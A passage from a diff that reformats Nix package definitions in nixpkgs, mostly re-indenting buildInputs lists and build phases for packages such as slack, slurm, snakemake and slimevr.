+      rm -rf usr/share/lintian
 
-        mkdir -p $out
-        mv usr/* $out
+      mkdir -p $out
+      mv usr/* $out
 
-        # Otherwise it looks "suspicious"
-        chmod -R g-w $out
+      # Otherwise it looks "suspicious"
+      chmod -R g-w $out
 
-        for file in $(find $out -type f \( -perm /0111 -o -name \*.so\* \) ); do
-          patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" "$file" || true
-          patchelf --set-rpath ${rpath}:$out/lib/slack $file || true
-        done
+      for file in $(find $out -type f \( -perm /0111 -o -name \*.so\* \) ); do
+        patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" "$file" || true
+        patchelf --set-rpath ${rpath}:$out/lib/slack $file || true
+      done
 
-        # Replace the broken bin/slack symlink with a startup wrapper.
-        # Make xdg-open overrideable at runtime.
-        rm $out/bin/slack
-        makeWrapper $out/lib/slack/slack $out/bin/slack \
-          --prefix XDG_DATA_DIRS : $GSETTINGS_SCHEMAS_PATH \
-          --suffix PATH : ${lib.makeBinPath [ xdg-utils ]} \
-          --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations,WebRTCPipeWireCapturer --enable-wayland-ime=true}}"
+      # Replace the broken bin/slack symlink with a startup wrapper.
+      # Make xdg-open overrideable at runtime.
+      rm $out/bin/slack
+      makeWrapper $out/lib/slack/slack $out/bin/slack \
+        --prefix XDG_DATA_DIRS : $GSETTINGS_SCHEMAS_PATH \
+        --suffix PATH : ${lib.makeBinPath [ xdg-utils ]} \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations,WebRTCPipeWireCapturer --enable-wayland-ime=true}}"
 
-        # Fix the desktop link
-        substituteInPlace $out/share/applications/slack.desktop \
-          --replace /usr/bin/ $out/bin/ \
-          --replace /usr/share/pixmaps/slack.png slack \
-          --replace bin/slack "bin/slack -s"
-      ''
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        # Prevent Un-blacklist pipewire integration to enable screen sharing on wayland.
-        # https://github.com/flathub/com.slack.Slack/issues/101#issuecomment-1807073763
-        sed -i -e 's/,"WebRTCPipeWireCapturer"/,"LebRTCPipeWireCapturer"/' $out/lib/slack/resources/app.asar
-      ''
-      + ''
-        runHook postInstall
-      '';
+      # Fix the desktop link
+      substituteInPlace $out/share/applications/slack.desktop \
+        --replace /usr/bin/ $out/bin/ \
+        --replace /usr/share/pixmaps/slack.png slack \
+        --replace bin/slack "bin/slack -s"
+    ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      # Prevent Un-blacklist pipewire integration to enable screen sharing on wayland.
+      # https://github.com/flathub/com.slack.Slack/issues/101#issuecomment-1807073763
+      sed -i -e 's/,"WebRTCPipeWireCapturer"/,"LebRTCPipeWireCapturer"/' $out/lib/slack/resources/app.asar
+    ''
+    + ''
+      runHook postInstall
+    '';
   };
 
   darwin = stdenv.mkDerivation {
diff --git a/pkgs/by-name/sl/slang/package.nix b/pkgs/by-name/sl/slang/package.nix
index a72855654ceb..d5143b7a6d37 100644
--- a/pkgs/by-name/sl/slang/package.nix
+++ b/pkgs/by-name/sl/slang/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation rec {
     libpng
     readline
     zlib
-  ] ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ libiconv ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ libiconv ];
 
   propagatedBuildInputs = [ ncurses ];
 
diff --git a/pkgs/by-name/sl/slepc/package.nix b/pkgs/by-name/sl/slepc/package.nix
index f4fc8afd9593..1de81a619383 100644
--- a/pkgs/by-name/sl/slepc/package.nix
+++ b/pkgs/by-name/sl/slepc/package.nix
@@ -42,14 +42,13 @@ stdenv.mkDerivation (finalAttrs: {
     export SLEPC_DIR=$PWD
   '';
 
-  nativeBuildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.setuptools
-      python3Packages.cython
-    ];
+  nativeBuildInputs = [
+    python3
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.setuptools
+    python3Packages.cython
+  ];
 
   configureFlags =
     lib.optionals withArpack [
@@ -59,13 +58,12 @@ stdenv.mkDerivation (finalAttrs: {
       "--with-slepc4py=1"
     ];
 
-  buildInputs =
-    [
-      mpi
-    ]
-    ++ lib.optionals withArpack [
-      arpack-mpi
-    ];
+  buildInputs = [
+    mpi
+  ]
+  ++ lib.optionals withArpack [
+    arpack-mpi
+  ];
 
   propagatedBuildInputs = [
     petsc
@@ -77,14 +75,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   __darwinAllowLocalNetworking = true;
 
-  nativeInstallCheckInputs =
-    [
-      mpiCheckPhaseHook
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.pythonImportsCheckHook
-      python3Packages.unittestCheckHook
-    ];
+  nativeInstallCheckInputs = [
+    mpiCheckPhaseHook
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.pythonImportsCheckHook
+    python3Packages.unittestCheckHook
+  ];
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/sl/sleqp/package.nix b/pkgs/by-name/sl/sleqp/package.nix
index 4ca9983ba2a7..e9482901de10 100644
--- a/pkgs/by-name/sl/sleqp/package.nix
+++ b/pkgs/by-name/sl/sleqp/package.nix
@@ -36,25 +36,24 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      blas
-      check
-      highs
-      lapack
-      suitesparse
-      trlib
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.cython
-      python3Packages.numpy
-      python3Packages.pip
-      python3Packages.pytest
-      python3Packages.setuptools
-      python3Packages.scipy
-      python3Packages.tox
-      python3Packages.wheel
-    ];
+  buildInputs = [
+    blas
+    check
+    highs
+    lapack
+    suitesparse
+    trlib
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.cython
+    python3Packages.numpy
+    python3Packages.pip
+    python3Packages.pytest
+    python3Packages.setuptools
+    python3Packages.scipy
+    python3Packages.tox
+    python3Packages.wheel
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "SLEQP_ENABLE_PYTHON" pythonSupport)
diff --git a/pkgs/by-name/sl/slic3r/package.nix b/pkgs/by-name/sl/slic3r/package.nix
index 1790d103d986..6931cc5e7130 100644
--- a/pkgs/by-name/sl/slic3r/package.nix
+++ b/pkgs/by-name/sl/slic3r/package.nix
@@ -28,35 +28,36 @@ stdenv.mkDerivation rec {
     which
     wrapGAppsHook3
   ];
-  buildInputs =
-    [ boost ]
-    ++ (with perlPackages; [
-      perl
-      EncodeLocale
-      MathClipper
-      ExtUtilsXSpp
-      MathConvexHullMonotoneChain
-      MathGeometryVoronoi
-      MathPlanePath
-      Moo
-      IOStringy
-      ClassXSAccessor
-      Wx
-      GrowlGNTP
-      NetDBus
-      ImportInto
-      XMLSAX
-      ExtUtilsMakeMaker
-      OpenGL
-      WxGLCanvas
-      ModuleBuild
-      LWP
-      ExtUtilsCppGuess
-      ModuleBuildWithXSpp
-      ExtUtilsTypemapsDefault
-      DevelChecklib
-      locallib
-    ]);
+  buildInputs = [
+    boost
+  ]
+  ++ (with perlPackages; [
+    perl
+    EncodeLocale
+    MathClipper
+    ExtUtilsXSpp
+    MathConvexHullMonotoneChain
+    MathGeometryVoronoi
+    MathPlanePath
+    Moo
+    IOStringy
+    ClassXSAccessor
+    Wx
+    GrowlGNTP
+    NetDBus
+    ImportInto
+    XMLSAX
+    ExtUtilsMakeMaker
+    OpenGL
+    WxGLCanvas
+    ModuleBuild
+    LWP
+    ExtUtilsCppGuess
+    ModuleBuildWithXSpp
+    ExtUtilsTypemapsDefault
+    DevelChecklib
+    locallib
+  ]);
 
   desktopItem = makeDesktopItem {
     name = "slic3r";
diff --git a/pkgs/by-name/sl/slimevr/package.nix b/pkgs/by-name/sl/slimevr/package.nix
index 38198aaa45e7..19ae6cceb215 100644
--- a/pkgs/by-name/sl/slimevr/package.nix
+++ b/pkgs/by-name/sl/slimevr/package.nix
@@ -52,19 +52,18 @@ rustPlatform.buildRustPackage rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      openssl
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gst-plugins-bad
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glib-networking
-      libayatana-appindicator
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    openssl
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gst-plugins-bad
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glib-networking
+    libayatana-appindicator
+    webkitgtk_4_1
+  ];
 
   patches = [
     # Upstream code uses Git to find the program version.
@@ -75,30 +74,29 @@ rustPlatform.buildRustPackage rec {
     ./no-java-tool-options-warning.patch
   ];
 
-  postPatch =
-    ''
-      # Tauri bundler expects slimevr.jar to exist.
-      mkdir -p server/desktop/build/libs
-      touch server/desktop/build/libs/slimevr.jar
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Both libappindicator-rs and SlimeVR need to know where Nix's appindicator lib is.
-      substituteInPlace $cargoDepsCopy/libappindicator-sys-*/src/lib.rs \
-        --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
-      substituteInPlace gui/src-tauri/src/tray.rs \
-        --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
+  postPatch = ''
+    # Tauri bundler expects slimevr.jar to exist.
+    mkdir -p server/desktop/build/libs
+    touch server/desktop/build/libs/slimevr.jar
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Both libappindicator-rs and SlimeVR need to know where Nix's appindicator lib is.
+    substituteInPlace $cargoDepsCopy/libappindicator-sys-*/src/lib.rs \
+      --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
+    substituteInPlace gui/src-tauri/src/tray.rs \
+      --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
 
-      # tao < version 0.31 has a GTK crash. Manually apply the fix.
-      pushd $cargoDepsCopy/tao-0.30.*
-      patch -p1 < ${
-        fetchpatch {
-          name = "fix-gtk-crash.patch";
-          url = "https://github.com/tauri-apps/tao/commit/83e35e961f4893790b913ee2efc15ae33fd16fb2.diff";
-          hash = "sha256-FNXWzsg4lO6VbLsqS6NevX8kVj26YtcYdKbbFejq9hM=";
-        }
+    # tao < version 0.31 has a GTK crash. Manually apply the fix.
+    pushd $cargoDepsCopy/tao-0.30.*
+    patch -p1 < ${
+      fetchpatch {
+        name = "fix-gtk-crash.patch";
+        url = "https://github.com/tauri-apps/tao/commit/83e35e961f4893790b913ee2efc15ae33fd16fb2.diff";
+        hash = "sha256-FNXWzsg4lO6VbLsqS6NevX8kVj26YtcYdKbbFejq9hM=";
       }
-      popd
-    '';
+    }
+    popd
+  '';
 
   # solarxr needs to be installed after compiling its Typescript files. This isn't
   # done the first time, because `pnpm_9.configHook` ignores `package.json` scripts.
diff --git a/pkgs/by-name/sl/slint-lsp/package.nix b/pkgs/by-name/sl/slint-lsp/package.nix
index d20dc3b17cb3..41f32b351d22 100644
--- a/pkgs/by-name/sl/slint-lsp/package.nix
+++ b/pkgs/by-name/sl/slint-lsp/package.nix
@@ -24,19 +24,18 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoHash = "sha256-GYEItiyUVAAL7K/6o31U4Ss75JOUE8Mxxf0Ut6T7X04=";
 
-  rpathLibs =
-    [
-      fontconfig
-      libGL
-      xorg.libxcb
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libxkbcommon
-      wayland
-    ];
+  rpathLibs = [
+    fontconfig
+    libGL
+    xorg.libxcb
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libxkbcommon
+    wayland
+  ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/sl/slurm/package.nix b/pkgs/by-name/sl/slurm/package.nix
index ee53bf310446..feea898d472e 100644
--- a/pkgs/by-name/sl/slurm/package.nix
+++ b/pkgs/by-name/sl/slurm/package.nix
@@ -64,22 +64,21 @@ stdenv.mkDerivation rec {
     ./common-env-echo.patch
   ];
 
-  prePatch =
-    ''
-      substituteInPlace src/common/env.c \
-          --replace "/bin/echo" "${coreutils}/bin/echo"
+  prePatch = ''
+    substituteInPlace src/common/env.c \
+        --replace "/bin/echo" "${coreutils}/bin/echo"
 
-      # Autoconf does not support split packages for pmix (libs and headers).
-      # Fix the path to the pmix libraries, so dlopen can find it.
-      substituteInPlace src/plugins/mpi/pmix/mpi_pmix.c \
-          --replace 'xstrfmtcat(full_path, "%s/", PMIXP_LIBPATH)' \
-                    'xstrfmtcat(full_path, "${lib.getLib pmix}/lib/")'
+    # Autoconf does not support split packages for pmix (libs and headers).
+    # Fix the path to the pmix libraries, so dlopen can find it.
+    substituteInPlace src/plugins/mpi/pmix/mpi_pmix.c \
+        --replace 'xstrfmtcat(full_path, "%s/", PMIXP_LIBPATH)' \
+                  'xstrfmtcat(full_path, "${lib.getLib pmix}/lib/")'
 
-    ''
-    + (lib.optionalString enableX11 ''
-      substituteInPlace src/common/x11_util.c \
-          --replace '"/usr/bin/xauth"' '"${xorg.xauth}/bin/xauth"'
-    '');
+  ''
+  + (lib.optionalString enableX11 ''
+    substituteInPlace src/common/x11_util.c \
+        --replace '"/usr/bin/xauth"' '"${xorg.xauth}/bin/xauth"'
+  '');
 
   # nixos test fails to start slurmd with 'undefined symbol: slurm_job_preempt_mode'
   # https://groups.google.com/forum/#!topic/slurm-devel/QHOajQ84_Es
@@ -92,59 +91,57 @@ stdenv.mkDerivation rec {
     python3
     perl
   ];
-  buildInputs =
-    [
-      curl
-      python3
-      munge
-      pam
-      libmysqlclient
-      ncurses
-      lz4
-      rdma-core
-      lua
-      hwloc
-      numactl
-      readline
-      freeipmi
-      shadow.su
-      pmix
-      json_c
-      libjwt
-      libyaml
-      dbus
-      libbpf
-      http-parser
-    ]
-    ++ lib.optionals enableX11 [ xorg.xauth ]
-    ++ lib.optionals enableGtk2 [ gtk2 ]
-    ++ lib.optionals enableNVML [
-      (runCommand "collect-nvml" { } ''
-        mkdir $out
-        ln -s ${nvml.dev}/include $out/include
-        ln -s ${nvml.lib}/lib/stubs $out/lib
-      '')
-    ];
+  buildInputs = [
+    curl
+    python3
+    munge
+    pam
+    libmysqlclient
+    ncurses
+    lz4
+    rdma-core
+    lua
+    hwloc
+    numactl
+    readline
+    freeipmi
+    shadow.su
+    pmix
+    json_c
+    libjwt
+    libyaml
+    dbus
+    libbpf
+    http-parser
+  ]
+  ++ lib.optionals enableX11 [ xorg.xauth ]
+  ++ lib.optionals enableGtk2 [ gtk2 ]
+  ++ lib.optionals enableNVML [
+    (runCommand "collect-nvml" { } ''
+      mkdir $out
+      ln -s ${nvml.dev}/include $out/include
+      ln -s ${nvml.lib}/lib/stubs $out/lib
+    '')
+  ];
 
-  configureFlags =
-    [
-      "--with-freeipmi=${freeipmi}"
-      "--with-http-parser=${http-parser}"
-      "--with-hwloc=${lib.getDev hwloc}"
-      "--with-json=${lib.getDev json_c}"
-      "--with-jwt=${libjwt}"
-      "--with-lz4=${lib.getDev lz4}"
-      "--with-munge=${munge}"
-      "--with-yaml=${lib.getDev libyaml}"
-      "--with-ofed=${lib.getDev rdma-core}"
-      "--sysconfdir=/etc/slurm"
-      "--with-pmix=${lib.getDev pmix}"
-      "--with-bpf=${libbpf}"
-      "--without-rpath" # Required for configure to pick up the right dlopen path
-    ]
-    ++ (lib.optional enableGtk2 "--disable-gtktest")
-    ++ (lib.optional (!enableX11) "--disable-x11")
-    ++ (lib.optional (enableNVML) "--with-nvml");
+  configureFlags = [
+    "--with-freeipmi=${freeipmi}"
+    "--with-http-parser=${http-parser}"
+    "--with-hwloc=${lib.getDev hwloc}"
+    "--with-json=${lib.getDev json_c}"
+    "--with-jwt=${libjwt}"
+    "--with-lz4=${lib.getDev lz4}"
+    "--with-munge=${munge}"
+    "--with-yaml=${lib.getDev libyaml}"
+    "--with-ofed=${lib.getDev rdma-core}"
+    "--sysconfdir=/etc/slurm"
+    "--with-pmix=${lib.getDev pmix}"
+    "--with-bpf=${libbpf}"
+    "--without-rpath" # Required for configure to pick up the right dlopen path
+  ]
+  ++ (lib.optional enableGtk2 "--disable-gtktest")
+  ++ (lib.optional (!enableX11) "--disable-x11")
+  ++ (lib.optional (enableNVML) "--with-nvml");
 
   preConfigure = ''
     patchShebangs ./doc/html/shtml2html.py
diff --git a/pkgs/by-name/sl/slurp/package.nix b/pkgs/by-name/sl/slurp/package.nix
index 103d5e741517..57015677ceb7 100644
--- a/pkgs/by-name/sl/slurp/package.nix
+++ b/pkgs/by-name/sl/slurp/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     pkg-config
     wayland-scanner
-  ] ++ lib.optional buildDocs scdoc;
+  ]
+  ++ lib.optional buildDocs scdoc;
 
   buildInputs = [
     cairo
diff --git a/pkgs/by-name/sm/sm64ex/package.nix b/pkgs/by-name/sm/sm64ex/package.nix
index b71395284a21..b4d0dcc610b9 100644
--- a/pkgs/by-name/sm/sm64ex/package.nix
+++ b/pkgs/by-name/sm/sm64ex/package.nix
@@ -50,13 +50,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  makeFlags =
-    [
-      "VERSION=${region}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "OSX_BUILD=1"
-    ];
+  makeFlags = [
+    "VERSION=${region}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "OSX_BUILD=1"
+  ];
 
   preBuild = ''
     patchShebangs extract_assets.py
diff --git a/pkgs/by-name/sm/smatch/package.nix b/pkgs/by-name/sm/smatch/package.nix
index b373f462a365..c71810cbe5d3 100644
--- a/pkgs/by-name/sm/smatch/package.nix
+++ b/pkgs/by-name/sm/smatch/package.nix
@@ -30,13 +30,12 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      sqlite
-      openssl
-    ]
-    ++ lib.optionals buildllvmsparse [ libllvm ]
-    ++ lib.optionals buildc2xml [ libxml2.dev ];
+  buildInputs = [
+    sqlite
+    openssl
+  ]
+  ++ lib.optionals buildllvmsparse [ libllvm ]
+  ++ lib.optionals buildc2xml [ libxml2.dev ];
 
   makeFlags = [
     "PREFIX=${placeholder "out"}"
diff --git a/pkgs/by-name/sm/smokeping/package.nix b/pkgs/by-name/sm/smokeping/package.nix
index e2aa68d9b739..cc17ecae7ac6 100644
--- a/pkgs/by-name/sm/smokeping/package.nix
+++ b/pkgs/by-name/sm/smokeping/package.nix
@@ -26,24 +26,25 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  propagatedBuildInputs =
-    [ rrdtool ]
-    ++ (with perlPackages; [
-      perl
-      FCGI
-      CGI
-      CGIFast
-      ConfigGrammar
-      DigestHMAC
-      NetTelnet
-      NetOpenSSH
-      NetSNMP
-      LWP
-      IOTty
-      fping
-      NetDNS
-      perlldap
-    ]);
+  propagatedBuildInputs = [
+    rrdtool
+  ]
+  ++ (with perlPackages; [
+    perl
+    FCGI
+    CGI
+    CGIFast
+    ConfigGrammar
+    DigestHMAC
+    NetTelnet
+    NetOpenSSH
+    NetSNMP
+    LWP
+    IOTty
+    fping
+    NetDNS
+    perlldap
+  ]);
 
   nativeBuildInputs = [ autoreconfHook ];
 
diff --git a/pkgs/by-name/sm/smpeg/package.nix b/pkgs/by-name/sm/smpeg/package.nix
index 32dc1cc52de3..10ef5b9574cf 100644
--- a/pkgs/by-name/sm/smpeg/package.nix
+++ b/pkgs/by-name/sm/smpeg/package.nix
@@ -59,13 +59,14 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [ SDL ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      gtk2
-      libGLU
-      libGL
-    ];
+  buildInputs = [
+    SDL
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    gtk2
+    libGLU
+    libGL
+  ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/sm/smuview/package.nix b/pkgs/by-name/sm/smuview/package.nix
index a63444f53815..3338e873b5bd 100644
--- a/pkgs/by-name/sm/smuview/package.nix
+++ b/pkgs/by-name/sm/smuview/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation {
     cmake
     pkg-config
     qt5.wrapQtAppsHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   buildInputs = [
     glib
@@ -49,7 +50,8 @@ stdenv.mkDerivation {
     python3
     pcre
     libsForQt5.qwt
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ bluez ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ bluez ];
 
   meta = with lib; {
     description = "Qt based source measure unit GUI for sigrok";
diff --git a/pkgs/by-name/sm/smuxi/package.nix b/pkgs/by-name/sm/smuxi/package.nix
index 0903db1952c0..a48448ce2fbf 100644
--- a/pkgs/by-name/sm/smuxi/package.nix
+++ b/pkgs/by-name/sm/smuxi/package.nix
@@ -38,22 +38,21 @@ stdenv.mkDerivation rec {
     pkg-config
     makeWrapper
   ];
-  buildInputs =
-    [
-      autoconf
-      automake
-      itstool
-      intltool
-      gettext
-      mono
-      stfl
-    ]
-    ++ lib.optionals (guiSupport) [
-      gtk-sharp-2_0
-      # loaded at runtime by GTK#
-      gdk-pixbuf
-      pango
-    ];
+  buildInputs = [
+    autoconf
+    automake
+    itstool
+    intltool
+    gettext
+    mono
+    stfl
+  ]
+  ++ lib.optionals (guiSupport) [
+    gtk-sharp-2_0
+    # loaded at runtime by GTK#
+    gdk-pixbuf
+    pango
+  ];
 
   preConfigure = ''
     NOCONFIGURE=1 NOGIT=1 ./autogen.sh
@@ -62,7 +61,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "--disable-frontend-gnome"
     "--enable-frontend-stfl"
-  ] ++ lib.optional guiSupport "--enable-frontend-gnome";
+  ]
+  ++ lib.optional guiSupport "--enable-frontend-gnome";
 
   postInstall = ''
     makeWrapper "${mono}/bin/mono" "$out/bin/smuxi-message-buffer" \
diff --git a/pkgs/by-name/sn/sn0int/package.nix b/pkgs/by-name/sn/sn0int/package.nix
index 60e876a69e43..076e0fc6c3ae 100644
--- a/pkgs/by-name/sn/sn0int/package.nix
+++ b/pkgs/by-name/sn/sn0int/package.nix
@@ -30,14 +30,13 @@ rustPlatform.buildRustPackage rec {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      libsodium
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libseccomp
-    ];
+  buildInputs = [
+    libsodium
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libseccomp
+  ];
 
   # One of the dependencies (chrootable-https) tries to read "/etc/resolv.conf"
   # in "checkPhase", hence fails in sandbox of "nix".
diff --git a/pkgs/by-name/sn/snakemake/package.nix b/pkgs/by-name/sn/snakemake/package.nix
index fb5946819044..774af18429db 100644
--- a/pkgs/by-name/sn/snakemake/package.nix
+++ b/pkgs/by-name/sn/snakemake/package.nix
@@ -97,77 +97,76 @@ python3Packages.buildPythonApplication rec {
     "tests/test_api.py"
   ];
 
-  disabledTests =
-    [
-      # FAILED tests/tests.py::test_env_modules - AssertionError: expected successful execution
-      "test_ancient"
-      "test_conda_create_envs_only"
-      "test_env_modules"
-      "test_generate_unit_tests"
-      "test_modules_prefix"
-      "test_strict_mode"
-      # Requires perl
-      "test_shadow"
-      # Require peppy and eido
-      "test_peppy"
-      "test_modules_peppy"
-      "test_pep_pathlib"
+  disabledTests = [
+    # FAILED tests/tests.py::test_env_modules - AssertionError: expected successful execution
+    "test_ancient"
+    "test_conda_create_envs_only"
+    "test_env_modules"
+    "test_generate_unit_tests"
+    "test_modules_prefix"
+    "test_strict_mode"
+    # Requires perl
+    "test_shadow"
+    # Require peppy and eido
+    "test_peppy"
+    "test_modules_peppy"
+    "test_pep_pathlib"
 
-      # CalledProcessError
-      "test_filegraph" # requires graphviz
-      "test_github_issue1384"
+    # CalledProcessError
+    "test_filegraph" # requires graphviz
+    "test_github_issue1384"
 
-      # AssertionError: assert 127 == 1
-      "test_issue1256"
-      "test_issue2574"
+    # AssertionError: assert 127 == 1
+    "test_issue1256"
+    "test_issue2574"
 
-      # Require `snakemake-storage-plugin-fs` (circular dependency)
-      "test_default_storage"
-      "test_default_storage_local_job"
-      "test_deploy_sources"
-      "test_output_file_cache_storage"
-      "test_storage"
+    # Require `snakemake-storage-plugin-fs` (circular dependency)
+    "test_default_storage"
+    "test_default_storage_local_job"
+    "test_deploy_sources"
+    "test_output_file_cache_storage"
+    "test_storage"
 
-      # Tries to access internet
-      "test_report_after_run"
+    # Tries to access internet
+    "test_report_after_run"
 
-      # Needs stress-ng
-      "test_benchmark"
-      "test_benchmark_jsonl"
+    # Needs stress-ng
+    "test_benchmark"
+    "test_benchmark_jsonl"
 
-      # Needs unshare
-      "test_nodelocal"
+    # Needs unshare
+    "test_nodelocal"
 
-      # Requires snakemake-storage-plugin-http
-      "test_keep_local"
-      "test_retrieve"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Unclear failure:
-      # AssertionError: expected successful execution
-      # `__darwinAllowLocalNetworking` doesn't help
-      "test_excluded_resources_not_submitted_to_cluster"
-      "test_group_job_resources_with_pipe"
-      "test_group_jobs_resources"
-      "test_group_jobs_resources_with_limited_resources"
-      "test_group_jobs_resources_with_max_threads"
-      "test_issue850"
-      "test_issue860"
-      "test_multicomp_group_jobs"
-      "test_queue_input"
-      "test_queue_input_dryrun"
-      "test_queue_input_forceall"
-      "test_resources_submitted_to_cluster"
-      "test_scopes_submitted_to_cluster"
+    # Requires snakemake-storage-plugin-http
+    "test_keep_local"
+    "test_retrieve"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Unclear failure:
+    # AssertionError: expected successful execution
+    # `__darwinAllowLocalNetworking` doesn't help
+    "test_excluded_resources_not_submitted_to_cluster"
+    "test_group_job_resources_with_pipe"
+    "test_group_jobs_resources"
+    "test_group_jobs_resources_with_limited_resources"
+    "test_group_jobs_resources_with_max_threads"
+    "test_issue850"
+    "test_issue860"
+    "test_multicomp_group_jobs"
+    "test_queue_input"
+    "test_queue_input_dryrun"
+    "test_queue_input_forceall"
+    "test_resources_submitted_to_cluster"
+    "test_scopes_submitted_to_cluster"
 
-      # Issue with /dev/stderr in sandbox
-      "test_protected_symlink_output"
+    # Issue with /dev/stderr in sandbox
+    "test_protected_symlink_output"
 
-      # Unclear issue:
-      #   pulp.apis.core.PulpSolverError: Pulp: cannot execute cbc cwd:
-      # but pulp solver is not default
-      "test_access_patterns"
-    ];
+    # Unclear issue:
+    #   pulp.apis.core.PulpSolverError: Pulp: cannot execute cbc cwd:
+    # but pulp solver is not default
+    "test_access_patterns"
+  ];
 
   pythonImportsCheck = [ "snakemake" ];
 
diff --git a/pkgs/by-name/sn/snapcraft/package.nix b/pkgs/by-name/sn/snapcraft/package.nix
index de6d5b213dd4..204f811db17a 100644
--- a/pkgs/by-name/sn/snapcraft/package.nix
+++ b/pkgs/by-name/sn/snapcraft/package.nix
@@ -168,7 +168,8 @@ python3Packages.buildPythonApplication rec {
     "test_snap_command_fallback"
     "test_validate_architectures_supported"
     "test_validate_architectures_unsupported"
-  ] ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "test_load_project" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "test_load_project" ];
 
   disabledTestPaths = [
     "tests/unit/commands/test_remote.py"
diff --git a/pkgs/by-name/sn/snd/package.nix b/pkgs/by-name/sn/snd/package.nix
index 650e37809148..7b4a26a8afcb 100644
--- a/pkgs/by-name/sn/snd/package.nix
+++ b/pkgs/by-name/sn/snd/package.nix
@@ -23,21 +23,20 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fftw
-      gsl
-      motif
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ (with xorg; [
-      libXext
-      libXft
-      libXpm
-      libXt
-    ]);
+  buildInputs = [
+    fftw
+    gsl
+    motif
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ (with xorg; [
+    libXext
+    libXft
+    libXpm
+    libXt
+  ]);
 
   configureFlags = [
     "--with-motif"
diff --git a/pkgs/by-name/sn/snes9x/package.nix b/pkgs/by-name/sn/snes9x/package.nix
index 77fdf7877922..4899d404df53 100644
--- a/pkgs/by-name/sn/snes9x/package.nix
+++ b/pkgs/by-name/sn/snes9x/package.nix
@@ -42,44 +42,42 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-INMVyB3alwmsApO7ToAaUWgh7jlg2MeLxqHCEnUO88U=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals withGtk [
-      cmake
-      ninja
